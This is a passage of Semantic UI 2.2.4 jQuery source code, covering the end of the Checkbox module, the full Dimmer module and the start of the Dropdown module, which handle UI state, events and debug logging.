            module.debug('Setting state to unchecked');
            $input
              .prop('indeterminate', false)
              .prop('checked', false)
            ;
            module.trigger.change();
          },
          indeterminate: function() {
            module.verbose('Setting class to indeterminate');
            $module
              .addClass(className.indeterminate)
            ;
            if( module.is.indeterminate() ) {
              module.debug('Input is already indeterminate, skipping input property change');
              return;
            }
            module.debug('Setting state to indeterminate');
            $input
              .prop('indeterminate', true)
            ;
            module.trigger.change();
          },
          determinate: function() {
            module.verbose('Removing indeterminate class');
            $module
              .removeClass(className.indeterminate)
            ;
            if( module.is.determinate() ) {
              module.debug('Input is already determinate, skipping input property change');
              return;
            }
            module.debug('Setting state to determinate');
            $input
              .prop('indeterminate', false)
            ;
          },
          disabled: function() {
            module.verbose('Setting class to disabled');
            $module
              .addClass(className.disabled)
            ;
            if( module.is.disabled() ) {
              module.debug('Input is already disabled, skipping input property change');
              return;
            }
            module.debug('Setting state to disabled');
            $input
              .prop('disabled', 'disabled')
            ;
            module.trigger.change();
          },
          enabled: function() {
            module.verbose('Removing disabled class');
            $module.removeClass(className.disabled);
            if( module.is.enabled() ) {
              module.debug('Input is already enabled, skipping input property change');
              return;
            }
            module.debug('Setting state to enabled');
            $input
              .prop('disabled', false)
            ;
            module.trigger.change();
          },
          tabbable: function() {
            module.verbose('Adding tabindex to checkbox');
            if( $input.attr('tabindex') === undefined) {
              $input.attr('tabindex', 0);
            }
          }
        },

        remove: {
          initialLoad: function() {
            initialLoad = false;
          }
        },

        trigger: {
          change: function() {
            var
              events       = document.createEvent('HTMLEvents'),
              inputElement = $input[0]
            ;
            if(inputElement) {
              module.verbose('Triggering native change event');
              events.initEvent('change', true, false);
              inputElement.dispatchEvent(events);
            }
          }
        },


        create: {
          label: function() {
            if($input.prevAll(selector.label).length > 0) {
              $input.prev(selector.label).detach().insertAfter($input);
              module.debug('Moving existing label', $label);
            }
            else if( !module.has.label() ) {
              $label = $('<label>').insertAfter($input);
              module.debug('Creating label', $label);
            }
          }
        },

        has: {
          label: function() {
            return ($label.length > 0);
          }
        },

        bind: {
          events: function() {
            module.verbose('Attaching checkbox events');
            $module
              .on('click'   + eventNamespace, module.event.click)
              .on('keydown' + eventNamespace, selector.input, module.event.keydown)
              .on('keyup'   + eventNamespace, selector.input, module.event.keyup)
            ;
          }
        },

        unbind: {
          events: function() {
            module.debug('Removing events');
            $module
              .off(eventNamespace)
            ;
          }
        },

        uncheckOthers: function() {
          var
            $radios = module.get.otherRadios()
          ;
          module.debug('Unchecking other radios', $radios);
          $radios.removeClass(className.checked);
        },

        toggle: function() {
          if( !module.can.change() ) {
            if(!module.is.radio()) {
              module.debug('Checkbox is read-only or disabled, ignoring toggle');
            }
            return;
          }
          if( module.is.indeterminate() || module.is.unchecked() ) {
            module.debug('Currently unchecked');
            module.check();
          }
          else if( module.is.checked() && module.can.uncheck() ) {
            module.debug('Currently checked');
            module.uncheck();
          }
        },
        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.checkbox.settings = {

  name                : 'Checkbox',
  namespace           : 'checkbox',

  silent              : false,
  debug               : false,
  verbose             : true,
  performance         : true,

  // delegated event context
  uncheckable         : 'auto',
  fireOnInit          : false,

  onChange            : function(){},

  beforeChecked       : function(){},
  beforeUnchecked     : function(){},
  beforeDeterminate   : function(){},
  beforeIndeterminate : function(){},

  onChecked           : function(){},
  onUnchecked         : function(){},

  onDeterminate       : function() {},
  onIndeterminate     : function() {},

  onEnable            : function(){},
  onDisable           : function(){},

  // preserve misspelled callbacks (will be removed in 3.0)
  onEnabled           : function(){},
  onDisabled          : function(){},

  className       : {
    checked       : 'checked',
    indeterminate : 'indeterminate',
    disabled      : 'disabled',
    hidden        : 'hidden',
    radio         : 'radio',
    readOnly      : 'read-only'
  },

  error     : {
    method       : 'The method you called is not defined'
  },

  selector : {
    checkbox : '.ui.checkbox',
    label    : 'label, .box',
    input    : 'input[type="checkbox"], input[type="radio"]',
    link     : 'a[href]'
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Dimmer
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.dimmer = function(parameters) {
  var
    $allModules     = $(this),

    time            = new Date().getTime(),
    performance     = [],

    query           = arguments[0],
    methodInvoked   = (typeof query == 'string'),
    queryArguments  = [].slice.call(arguments, 1),

    returnedValue
  ;

  $allModules
    .each(function() {
      var
        settings        = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.dimmer.settings, parameters)
          : $.extend({}, $.fn.dimmer.settings),

        selector        = settings.selector,
        namespace       = settings.namespace,
        className       = settings.className,
        error           = settings.error,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,
        moduleSelector  = $allModules.selector || '',

        clickEvent      = ('ontouchstart' in document.documentElement)
          ? 'touchstart'
          : 'click',

        $module = $(this),
        $dimmer,
        $dimmable,

        element   = this,
        instance  = $module.data(moduleNamespace),
        module
      ;

      module = {

        preinitialize: function() {
          if( module.is.dimmer() ) {

            $dimmable = $module.parent();
            $dimmer   = $module;
          }
          else {
            $dimmable = $module;
            if( module.has.dimmer() ) {
              if(settings.dimmerName) {
                $dimmer = $dimmable.find(selector.dimmer).filter('.' + settings.dimmerName);
              }
              else {
                $dimmer = $dimmable.find(selector.dimmer);
              }
            }
            else {
              $dimmer = module.create();
            }
            module.set.variation();
          }
        },

        initialize: function() {
          module.debug('Initializing dimmer', settings);

          module.bind.events();
          module.set.dimmable();
          module.instantiate();
        },

        instantiate: function() {
          module.verbose('Storing instance of module', module);
          instance = module;
          $module
            .data(moduleNamespace, instance)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous module', $dimmer);
          module.unbind.events();
          module.remove.variation();
          $dimmable
            .off(eventNamespace)
          ;
        },

        bind: {
          events: function() {
            if(settings.on == 'hover') {
              $dimmable
                .on('mouseenter' + eventNamespace, module.show)
                .on('mouseleave' + eventNamespace, module.hide)
              ;
            }
            else if(settings.on == 'click') {
              $dimmable
                .on(clickEvent + eventNamespace, module.toggle)
              ;
            }
            if( module.is.page() ) {
              module.debug('Setting as a page dimmer', $dimmable);
              module.set.pageDimmer();
            }

            if( module.is.closable() ) {
              module.verbose('Adding dimmer close event', $dimmer);
              $dimmable
                .on(clickEvent + eventNamespace, selector.dimmer, module.event.click)
              ;
            }
          }
        },

        unbind: {
          events: function() {
            $module
              .removeData(moduleNamespace)
            ;
            $dimmable
              .off(eventNamespace)
            ;
          }
        },

        event: {
          click: function(event) {
            module.verbose('Determining if event occured on dimmer', event);
            if( $dimmer.find(event.target).length === 0 || $(event.target).is(selector.content) ) {
              module.hide();
              event.stopImmediatePropagation();
            }
          }
        },

        addContent: function(element) {
          var
            $content = $(element)
          ;
          module.debug('Add content to dimmer', $content);
          if($content.parent()[0] !== $dimmer[0]) {
            $content.detach().appendTo($dimmer);
          }
        },

        create: function() {
          var
            $element = $( settings.template.dimmer() )
          ;
          if(settings.dimmerName) {
            module.debug('Creating named dimmer', settings.dimmerName);
            $element.addClass(settings.dimmerName);
          }
          $element
            .appendTo($dimmable)
          ;
          return $element;
        },

        show: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          module.debug('Showing dimmer', $dimmer, settings);
          if( (!module.is.dimmed() || module.is.animating()) && module.is.enabled() ) {
            module.animate.show(callback);
            settings.onShow.call(element);
            settings.onChange.call(element);
          }
          else {
            module.debug('Dimmer is already shown or disabled');
          }
        },

        hide: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( module.is.dimmed() || module.is.animating() ) {
            module.debug('Hiding dimmer', $dimmer);
            module.animate.hide(callback);
            settings.onHide.call(element);
            settings.onChange.call(element);
          }
          else {
            module.debug('Dimmer is not visible');
          }
        },

        toggle: function() {
          module.verbose('Toggling dimmer visibility', $dimmer);
          if( !module.is.dimmed() ) {
            module.show();
          }
          else {
            module.hide();
          }
        },

        animate: {
          show: function(callback) {
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) {
              if(settings.opacity !== 'auto') {
                module.set.opacity();
              }
              $dimmer
                .transition({
                  animation   : settings.transition + ' in',
                  queue       : false,
                  duration    : module.get.duration(),
                  useFailSafe : true,
                  onStart     : function() {
                    module.set.dimmed();
                  },
                  onComplete  : function() {
                    module.set.active();
                    callback();
                  }
                })
              ;
            }
            else {
              module.verbose('Showing dimmer animation with javascript');
              module.set.dimmed();
              if(settings.opacity == 'auto') {
                settings.opacity = 0.8;
              }
              $dimmer
                .stop()
                .css({
                  opacity : 0,
                  width   : '100%',
                  height  : '100%'
                })
                .fadeTo(module.get.duration(), settings.opacity, function() {
                  $dimmer.removeAttr('style');
                  module.set.active();
                  callback();
                })
              ;
            }
          },
          hide: function(callback) {
            callback = $.isFunction(callback)
              ? callback
              : function(){}
            ;
            if(settings.useCSS && $.fn.transition !== undefined && $dimmer.transition('is supported')) {
              module.verbose('Hiding dimmer with css');
              $dimmer
                .transition({
                  animation   : settings.transition + ' out',
                  queue       : false,
                  duration    : module.get.duration(),
                  useFailSafe : true,
                  onStart     : function() {
                    module.remove.dimmed();
                  },
                  onComplete  : function() {
                    module.remove.active();
                    callback();
                  }
                })
              ;
            }
            else {
              module.verbose('Hiding dimmer with javascript');
              module.remove.dimmed();
              $dimmer
                .stop()
                .fadeOut(module.get.duration(), function() {
                  module.remove.active();
                  $dimmer.removeAttr('style');
                  callback();
                })
              ;
            }
          }
        },

        get: {
          dimmer: function() {
            return $dimmer;
          },
          duration: function() {
            if(typeof settings.duration == 'object') {
              if( module.is.active() ) {
                return settings.duration.hide;
              }
              else {
                return settings.duration.show;
              }
            }
            return settings.duration;
          }
        },

        has: {
          dimmer: function() {
            if(settings.dimmerName) {
              return ($module.find(selector.dimmer).filter('.' + settings.dimmerName).length > 0);
            }
            else {
              return ( $module.find(selector.dimmer).length > 0 );
            }
          }
        },

        is: {
          active: function() {
            return $dimmer.hasClass(className.active);
          },
          animating: function() {
            return ( $dimmer.is(':animated') || $dimmer.hasClass(className.animating) );
          },
          closable: function() {
            if(settings.closable == 'auto') {
              if(settings.on == 'hover') {
                return false;
              }
              return true;
            }
            return settings.closable;
          },
          dimmer: function() {
            return $module.hasClass(className.dimmer);
          },
          dimmable: function() {
            return $module.hasClass(className.dimmable);
          },
          dimmed: function() {
            return $dimmable.hasClass(className.dimmed);
          },
          disabled: function() {
            return $dimmable.hasClass(className.disabled);
          },
          enabled: function() {
            return !module.is.disabled();
          },
          page: function () {
            return $dimmable.is('body');
          },
          pageDimmer: function() {
            return $dimmer.hasClass(className.pageDimmer);
          }
        },

        can: {
          show: function() {
            return !$dimmer.hasClass(className.disabled);
          }
        },

        set: {
          opacity: function(opacity) {
            var
              color      = $dimmer.css('background-color'),
              colorArray = color.split(','),
              isRGB      = (colorArray && colorArray.length == 3),
              isRGBA     = (colorArray && colorArray.length == 4)
            ;
            opacity    = settings.opacity === 0 ? 0 : settings.opacity || opacity;
            if(isRGB || isRGBA) {
              colorArray[3] = opacity + ')';
              color         = colorArray.join(',');
            }
            else {
              color = 'rgba(0, 0, 0, ' + opacity + ')';
            }
            module.debug('Setting opacity to', opacity);
            $dimmer.css('background-color', color);
          },
          active: function() {
            $dimmer.addClass(className.active);
          },
          dimmable: function() {
            $dimmable.addClass(className.dimmable);
          },
          dimmed: function() {
            $dimmable.addClass(className.dimmed);
          },
          pageDimmer: function() {
            $dimmer.addClass(className.pageDimmer);
          },
          disabled: function() {
            $dimmer.addClass(className.disabled);
          },
          variation: function(variation) {
            variation = variation || settings.variation;
            if(variation) {
              $dimmer.addClass(variation);
            }
          }
        },

        remove: {
          active: function() {
            $dimmer
              .removeClass(className.active)
            ;
          },
          dimmed: function() {
            $dimmable.removeClass(className.dimmed);
          },
          disabled: function() {
            $dimmer.removeClass(className.disabled);
          },
          variation: function(variation) {
            variation = variation || settings.variation;
            if(variation) {
              $dimmer.removeClass(variation);
            }
          }
        },

        setting: function(name, value) {
          module.debug('Changing setting', name, value);
          if( $.isPlainObject(name) ) {
            $.extend(true, settings, name);
          }
          else if(value !== undefined) {
            if($.isPlainObject(settings[name])) {
              $.extend(true, settings[name], value);
            }
            else {
              settings[name] = value;
            }
          }
          else {
            return settings[name];
          }
        },
        internal: function(name, value) {
          if( $.isPlainObject(name) ) {
            $.extend(true, module, name);
          }
          else if(value !== undefined) {
            module[name] = value;
          }
          else {
            return module[name];
          }
        },
        debug: function() {
          if(!settings.silent && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.debug.apply(console, arguments);
            }
          }
        },
        verbose: function() {
          if(!settings.silent && settings.verbose && settings.debug) {
            if(settings.performance) {
              module.performance.log(arguments);
            }
            else {
              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');
              module.verbose.apply(console, arguments);
            }
          }
        },
        error: function() {
          if(!settings.silent) {
            module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');
            module.error.apply(console, arguments);
          }
        },
        performance: {
          log: function(message) {
            var
              currentTime,
              executionTime,
              previousTime
            ;
            if(settings.performance) {
              currentTime   = new Date().getTime();
              previousTime  = time || currentTime;
              executionTime = currentTime - previousTime;
              time          = currentTime;
              performance.push({
                'Name'           : message[0],
                'Arguments'      : [].slice.call(message, 1) || '',
                'Element'        : element,
                'Execution Time' : executionTime
              });
            }
            clearTimeout(module.performance.timer);
            module.performance.timer = setTimeout(module.performance.display, 500);
          },
          display: function() {
            var
              title = settings.name + ':',
              totalTime = 0
            ;
            time = false;
            clearTimeout(module.performance.timer);
            $.each(performance, function(index, data) {
              totalTime += data['Execution Time'];
            });
            title += ' ' + totalTime + 'ms';
            if(moduleSelector) {
              title += ' \'' + moduleSelector + '\'';
            }
            if($allModules.length > 1) {
              title += ' ' + '(' + $allModules.length + ')';
            }
            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {
              console.groupCollapsed(title);
              if(console.table) {
                console.table(performance);
              }
              else {
                $.each(performance, function(index, data) {
                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');
                });
              }
              console.groupEnd();
            }
            performance = [];
          }
        },
        invoke: function(query, passedArguments, context) {
          var
            object = instance,
            maxDepth,
            found,
            response
          ;
          passedArguments = passedArguments || queryArguments;
          context         = element         || context;
          if(typeof query == 'string' && object !== undefined) {
            query    = query.split(/[\. ]/);
            maxDepth = query.length - 1;
            $.each(query, function(depth, value) {
              var camelCaseValue = (depth != maxDepth)
                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)
                : query
              ;
              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {
                object = object[camelCaseValue];
              }
              else if( object[camelCaseValue] !== undefined ) {
                found = object[camelCaseValue];
                return false;
              }
              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {
                object = object[value];
              }
              else if( object[value] !== undefined ) {
                found = object[value];
                return false;
              }
              else {
                module.error(error.method, query);
                return false;
              }
            });
          }
          if ( $.isFunction( found ) ) {
            response = found.apply(context, passedArguments);
          }
          else if(found !== undefined) {
            response = found;
          }
          if($.isArray(returnedValue)) {
            returnedValue.push(response);
          }
          else if(returnedValue !== undefined) {
            returnedValue = [returnedValue, response];
          }
          else if(response !== undefined) {
            returnedValue = response;
          }
          return found;
        }
      };

      module.preinitialize();

      if(methodInvoked) {
        if(instance === undefined) {
          module.initialize();
        }
        module.invoke(query);
      }
      else {
        if(instance !== undefined) {
          instance.invoke('destroy');
        }
        module.initialize();
      }
    })
  ;

  return (returnedValue !== undefined)
    ? returnedValue
    : this
  ;
};

$.fn.dimmer.settings = {

  name        : 'Dimmer',
  namespace   : 'dimmer',

  silent      : false,
  debug       : false,
  verbose     : false,
  performance : true,

  // name to distinguish between multiple dimmers in context
  dimmerName  : false,

  // whether to add a variation type
  variation   : false,

  // whether to bind close events
  closable    : 'auto',

  // whether to use css animations
  useCSS      : true,

  // css animation to use
  transition  : 'fade',

  // event to bind to
  on          : false,

  // overriding opacity value
  opacity     : 'auto',

  // transition durations
  duration    : {
    show : 500,
    hide : 500
  },

  onChange    : function(){},
  onShow      : function(){},
  onHide      : function(){},

  error   : {
    method   : 'The method you called is not defined.'
  },

  className : {
    active     : 'active',
    animating  : 'animating',
    dimmable   : 'dimmable',
    dimmed     : 'dimmed',
    dimmer     : 'dimmer',
    disabled   : 'disabled',
    hide       : 'hide',
    pageDimmer : 'page',
    show       : 'show'
  },

  selector: {
    dimmer   : '> .ui.dimmer',
    content  : '.ui.dimmer > .content, .ui.dimmer > .content > .center'
  },

  template: {
    dimmer: function() {
     return $('<div />').attr('class', 'ui dimmer');
    }
  }

};

})( jQuery, window, document );

/*!
 * # Semantic UI 2.2.4 - Dropdown
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

;(function ($, window, document, undefined) {

"use strict";

window = (typeof window != 'undefined' && window.Math == Math)
  ? window
  : (typeof self != 'undefined' && self.Math == Math)
    ? self
    : Function('return this')()
;

$.fn.dropdown = function(parameters) {
  var
    $allModules    = $(this),
    $document      = $(document),

    moduleSelector = $allModules.selector || '',

    hasTouch       = ('ontouchstart' in document.documentElement),
    time           = new Date().getTime(),
    performance    = [],

    query          = arguments[0],
    methodInvoked  = (typeof query == 'string'),
    queryArguments = [].slice.call(arguments, 1),
    returnedValue
  ;

  $allModules
    .each(function(elementIndex) {
      var
        settings          = ( $.isPlainObject(parameters) )
          ? $.extend(true, {}, $.fn.dropdown.settings, parameters)
          : $.extend({}, $.fn.dropdown.settings),

        className       = settings.className,
        message         = settings.message,
        fields          = settings.fields,
        keys            = settings.keys,
        metadata        = settings.metadata,
        namespace       = settings.namespace,
        regExp          = settings.regExp,
        selector        = settings.selector,
        error           = settings.error,
        templates       = settings.templates,

        eventNamespace  = '.' + namespace,
        moduleNamespace = 'module-' + namespace,

        $module         = $(this),
        $context        = $(settings.context),
        $text           = $module.find(selector.text),
        $search         = $module.find(selector.search),
        $sizer          = $module.find(selector.sizer),
        $input          = $module.find(selector.input),
        $icon           = $module.find(selector.icon),

        $combo = ($module.prev().find(selector.text).length > 0)
          ? $module.prev().find(selector.text)
          : $module.prev(),

        $menu           = $module.children(selector.menu),
        $item           = $menu.find(selector.item),

        activated       = false,
        itemActivated   = false,
        internalChange  = false,
        element         = this,
        instance        = $module.data(moduleNamespace),

        initialLoad,
        pageLostFocus,
        willRefocus,
        elementNamespace,
        id,
        selectObserver,
        menuObserver,
        module
      ;

      module = {

        initialize: function() {
          module.debug('Initializing dropdown', settings);

          if( module.is.alreadySetup() ) {
            module.setup.reference();
          }
          else {
            module.setup.layout();
            module.refreshData();

            module.save.defaults();
            module.restore.selected();

            module.create.id();
            module.bind.events();

            module.observeChanges();
            module.instantiate();
          }

        },

        instantiate: function() {
          module.verbose('Storing instance of dropdown', module);
          instance = module;
          $module
            .data(moduleNamespace, module)
          ;
        },

        destroy: function() {
          module.verbose('Destroying previous dropdown', $module);
          module.remove.tabbable();
          $module
            .off(eventNamespace)
            .removeData(moduleNamespace)
          ;
          $menu
            .off(eventNamespace)
          ;
          $document
            .off(elementNamespace)
          ;
          module.disconnect.menuObserver();
          module.disconnect.selectObserver();
        },

        observeChanges: function() {
          if('MutationObserver' in window) {
            selectObserver = new MutationObserver(module.event.select.mutation);
            menuObserver   = new MutationObserver(module.event.menu.mutation);
            module.debug('Setting up mutation observer', selectObserver, menuObserver);
            module.observe.select();
            module.observe.menu();
          }
        },

        disconnect: {
          menuObserver: function() {
            if(menuObserver) {
              menuObserver.disconnect();
            }
          },
          selectObserver: function() {
            if(selectObserver) {
              selectObserver.disconnect();
            }
          }
        },
        observe: {
          select: function() {
            if(module.has.input()) {
              selectObserver.observe($input[0], {
                childList : true,
                subtree   : true
              });
            }
          },
          menu: function() {
            if(module.has.menu()) {
              menuObserver.observe($menu[0], {
                childList : true,
                subtree   : true
              });
            }
          }
        },

        create: {
          id: function() {
            id = (Math.random().toString(16) + '000000000').substr(2, 8);
            elementNamespace = '.' + id;
            module.verbose('Creating unique id for element', id);
          },
          userChoice: function(values) {
            var
              $userChoices,
              $userChoice,
              isUserValue,
              html
            ;
            values = values || module.get.userValues();
            if(!values) {
              return false;
            }
            values = $.isArray(values)
              ? values
              : [values]
            ;
            $.each(values, function(index, value) {
              if(module.get.item(value) === false) {
                html         = settings.templates.addition( module.add.variables(message.addResult, value) );
                $userChoice  = $('<div />')
                  .html(html)
                  .attr('data-' + metadata.value, value)
                  .attr('data-' + metadata.text, value)
                  .addClass(className.addition)
                  .addClass(className.item)
                ;
                if(settings.hideAdditions) {
                  $userChoice.addClass(className.hidden);
                }
                $userChoices = ($userChoices === undefined)
                  ? $userChoice
                  : $userChoices.add($userChoice)
                ;
                module.verbose('Creating user choices for value', value, $userChoice);
              }
            });
            return $userChoices;
          },
          userLabels: function(value) {
            var
              userValues = module.get.userValues()
            ;
            if(userValues) {
              module.debug('Adding user labels', userValues);
              $.each(userValues, function(index, value) {
                module.verbose('Adding custom user value');
                module.add.label(value, value);
              });
            }
          },
          menu: function() {
            $menu = $('<div />')
              .addClass(className.menu)
              .appendTo($module)
            ;
          },
          sizer: function() {
            $sizer = $('<span />')
              .addClass(className.sizer)
              .insertAfter($search)
            ;
          }
        },

        search: function(query) {
          query = (query !== undefined)
            ? query
            : module.get.query()
          ;
          module.verbose('Searching for query', query);
          if(module.has.minCharacters(query)) {
            module.filter(query);
          }
          else {
            module.hide();
          }
        },

        select: {
          firstUnfiltered: function() {
            module.verbose('Selecting first non-filtered element');
            module.remove.selectedItem();
            $item
              .not(selector.unselectable)
              .not(selector.addition + selector.hidden)
                .eq(0)
                .addClass(className.selected)
            ;
          },
          nextAvailable: function($selected) {
            $selected = $selected.eq(0);
            var
              $nextAvailable = $selected.nextAll(selector.item).not(selector.unselectable).eq(0),
              $prevAvailable = $selected.prevAll(selector.item).not(selector.unselectable).eq(0),
              hasNext        = ($nextAvailable.length > 0)
            ;
            if(hasNext) {
              module.verbose('Moving selection to', $nextAvailable);
              $nextAvailable.addClass(className.selected);
            }
            else {
              module.verbose('Moving selection to', $prevAvailable);
              $prevAvailable.addClass(className.selected);
            }
          }
        },

        setup: {
          api: function() {
            var
              apiSettings = {
                debug   : settings.debug,
                urlData : {
                  value : module.get.value(),
                  query : module.get.query()
                },
                on    : false
              }
            ;
            module.verbose('First request, initializing API');
            $module
              .api(apiSettings)
            ;
          },
          layout: function() {
            if( $module.is('select') ) {
              module.setup.select();
              module.setup.returnedObject();
            }
            if( !module.has.menu() ) {
              module.create.menu();
            }
            if( module.is.search() && !module.has.search() ) {
              module.verbose('Adding search input');
              $search = $('<input />')
                .addClass(className.search)
                .prop('autocomplete', 'off')
                .insertBefore($text)
              ;
            }
            if( module.is.multiple() && module.is.searchSelection() && !module.has.sizer()) {
              module.create.sizer();
            }
            if(settings.allowTab) {
              module.set.tabbable();
            }
          },
          select: function() {
            var
              selectValues  = module.get.selectValues()
            ;
            module.debug('Dropdown initialized on a select', selectValues);
            if( $module.is('select') ) {
              $input = $module;
            }
            // see if select is placed correctly already
            if($input.parent(selector.dropdown).length > 0) {
              module.debug('UI dropdown already exists. Creating dropdown menu only');
              $module = $input.closest(selector.dropdown);
              if( !module.has.menu() ) {
                module.create.menu();
              }
              $menu = $module.children(selector.menu);
              module.setup.menu(selectValues);
            }
            else {
              module.debug('Creating entire dropdown from select');
              $module = $('<div />')
                .attr('class', $input.attr('class') )
                .addClass(className.selection)
                .addClass(className.dropdown)
                .html( templates.dropdown(selectValues) )
                .insertBefore($input)
              ;
              if($input.hasClass(className.multiple) && $input.prop('multiple') === false) {
                module.error(error.missingMultiple);
                $input.prop('multiple', true);
              }
              if($input.is('[multiple]')) {
                module.set.multiple();
              }
              if ($input.prop('disabled')) {
                module.debug('Disabling dropdown');
                $module.addClass(className.disabled);
              }
              $input
                .removeAttr('class')
                .detach()
                .prependTo($module)
              ;
            }
            module.refresh();
          },
          menu: function(values) {
            $menu.html( templates.menu(values, fields));
            $item = $menu.find(selector.item);
          },
          reference: function() {
            module.debug('Dropdown behavior was called on select, replacing with closest dropdown');
            // replace module reference
            $module = $module.parent(selector.dropdown);
            module.refresh();
            module.setup.returnedObject();
            // invoke method in context of current instance
            if(methodInvoked) {
              instance = module;
              module.invoke(query);
            }
          },
          returnedObject: function() {
            var
              $firstModules = $allModules.slice(0, elementIndex),
              $lastModules = $allModules.slice(elementIndex + 1)
            ;
            // adjust all modules to use correct reference
            $allModules = $firstModules.add($module).add($lastModules);
          }
        },

        refresh: function() {
          module.refreshSelectors();
          module.refreshData();
        },

        refreshItems: function() {
          $item = $menu.find(selector.item);
        },

        refreshSelectors: function() {
          module.verbose('Refreshing selector cache');
          $text   = $module.find(selector.text);
          $search = $module.find(selector.search);
          $input  = $module.find(selector.input);
          $icon   = $module.find(selector.icon);
          $combo  = ($module.prev().find(selector.text).length > 0)
            ? $module.prev().find(selector.text)
            : $module.prev()
          ;
          $menu    = $module.children(selector.menu);
          $item    = $menu.find(selector.item);
        },

        refreshData: function() {
          module.verbose('Refreshing cached metadata');
          $item
            .removeData(metadata.text)
            .removeData(metadata.value)
          ;
        },

        clearData: function() {
          module.verbose('Clearing metadata');
          $item
            .removeData(metadata.text)
            .removeData(metadata.value)
          ;
          $module
            .removeData(metadata.defaultText)
            .removeData(metadata.defaultValue)
            .removeData(metadata.placeholderText)
          ;
        },

        toggle: function() {
          module.verbose('Toggling menu visibility');
          if( !module.is.active() ) {
            module.show();
          }
          else {
            module.hide();
          }
        },

        show: function(callback) {
          callback = $.isFunction(callback)
            ? callback
            : function(){}
          ;
          if( module.can.show() && !module.is.active() ) {
            module.debug('Showing dropdown');
            if(module.has.message() && !(module.has.maxSelections() || module.has.allResultsFiltered()) ) {
              module.remove.message();
            }
            if(module.is.allFiltered()) {
              return true;
            }
